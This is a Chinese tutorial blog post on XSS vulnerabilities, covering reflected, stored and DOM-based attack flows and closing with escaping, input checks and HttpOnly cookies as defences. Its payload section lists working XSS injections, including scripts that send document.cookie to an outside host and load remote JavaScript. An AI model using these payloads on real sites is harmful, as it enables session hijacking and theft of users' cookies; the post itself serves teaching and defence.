web漏洞——XSS攻击原理及防御

XSS漏洞介绍

跨站脚本(Cross-Site Script,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响。

 

XSS漏洞危害:

  1. 挂马
  2. 盗取用户cookie
  3. DOS(拒绝服务)客户端浏览器
  4. 钓鱼攻击,高级钓鱼技巧
  5. 编写针对性的XSS病毒,删除目标文章,恶意篡改数据,嫁祸
  6. 劫持用户web行为,甚至进一步渗透内网
  7. 刷广告,刷流量,破坏网上数据。。。

 

XSS攻击分为三类:反射型(非持久型)、存储型(持久型)、DOM型

反射型XSS

反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。

攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器吧带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

  1. 用户正常登录服务器,得到一个包含会话令牌的cookie。
  2. 攻击者通过某种方法向用户提交URL。
  3. 用户从应用程序中请求攻击者传送给他们的URL。
  4. 服务器响应用户的请求。由于应用程序中存在XSS漏洞,响应中包含攻击者创建的JavaScript代码。
  5. 用户浏览器收到攻击者的JavaScript代码,像执行从应用程序收到的其他代码一样,浏览器执行这段代码。
  6. 攻击者从用户的浏览器中收到会话令牌。
  7. 攻击者监控访问请求并收到用户的请求。攻击者使用截获的令牌劫持用户的会话,从而访问该用户的个人信息,并代表该用户执行任意操作。

 

 

获取cookie

  1. 攻击者首先向服务器发送js脚本。
  2. 服务器将含有js脚本的页面发给攻击者。
  3. 攻击者将js脚本的页面的url发送给用户。
  4. 攻击者获取用户的cookie。

重定向

  1. 攻击者首先向服务器发送JS脚本。
  2. 服务器将含有js脚本的页面发送给攻击者。
  3. 攻击者将JS脚本的页面发给用户。
  4. 用户点击url重定向到第三方网站。

XSS存储型

存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。

攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的贴子时,恶意脚本会在他们的浏览器中得到执行。

  1. 攻击者提交包含恶意JavaScript的问题,存储在服务器上。
  2. 用户正常登录应用程序,得到一个包含会话令牌的cookie。
  3. 用户浏览攻击者的问题。
  4. 服务器对攻击者的JavaScript做出回应。
  5. 攻击者的JavaScript在用户的浏览器中执行。
  6. 用户的浏览器向攻击者发送会话令牌。
  7. 攻击者劫持用户会话。

获取cookie

  1. 攻击者首先想服务器发送JS脚本。
  2. 服务器将JS页面存储在服务器上,并将含有JS脚本的页面发给攻击者。
  3. 当用户访问服务器时,服务器返回JS页面。
  4. 攻击者获取用户的cookie。

 

重定向

  1. 攻击者首先向服务器发送js脚本。
  2. 服务器将js页面存储在服务器上,并将含有js脚本的页面发给攻击者。
  3. 当用户访问服务器时,服务器返回js页面。
  4. 用户点击url重定向到第三方网站。

基于DOM的XSS漏洞

DOM全称Document Object Model ,使用DOM 可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

HMTL的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有节点,均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可创建或删除节点。

HTML DOM树结构:

在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器交互,它只发生在客户端处理数据的阶段。

攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

  1. 用户登录。
  2. 攻击者将他自己准备的URL回馈给用户。
  3. 用户请求攻击者的URL。
  4. 服务器以含有硬编码的JavaScript页面回应。
  5. 攻击者的URL由JavaScript处理,引发其攻击有效载荷。
  6. 用户的浏览器向攻击者发送会话令牌。
  7. 攻击者劫持用户的会话。

 

xss攻击

存储型,反射型

直接嵌入:<script>alert(‘xss’)</script>

元素事件:<body οnlοad=alert(‘xss’)>

<a herf=http://192.168.5.4>click</a>

<img src=http://192.168.5.4/a.jpg οnerrοr=alert(‘xss’)>

<a herf=’’ οnclick=alert(‘xss’)>type</a>

重定向:<script>window.location=”http://ww.baidu.com”</script>

重定向:<script>window.location=’http://192.168.5.4’</script>

<iframe src=’http://192.168.5.128/a.jpg’ height=’0’ width=’0’></iframe>

获取cookie:

<script>new Image().src=”http://192.168.5.4/c.php?output=”+document.cookie;</script>

<script>alert(document.cookie)</script>

<script src=’http://192.168.5.4/a.js’></script>

a.js

var img = new Image();

img.src = 'http://192.168.5.4:88/cookie.php?cookie='+document.cookie;

 

DOM型

<script>var img=document.createElement(‘img’);img.src=’http://192.168.5.4:88/log?’+escape(document.cookie);</script>

<script>alert(/xss/)</script>

</option></select><img src=1 οnerrοr=alert(/xss/)>

#<script>alert(/xss/)</script>

 

XSS防御

根本性对策(个别对策)

html的元素内容:使用htmlspecialchars函数转义。

属性值:使用htmlspecialchars函数转义并用双引号括起来。

根本性对策(共通对策)

明确设置http响应的字符编码。

辅助对策

输入校验。

给cookie添加httponly属性。

关闭TRACE方法。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值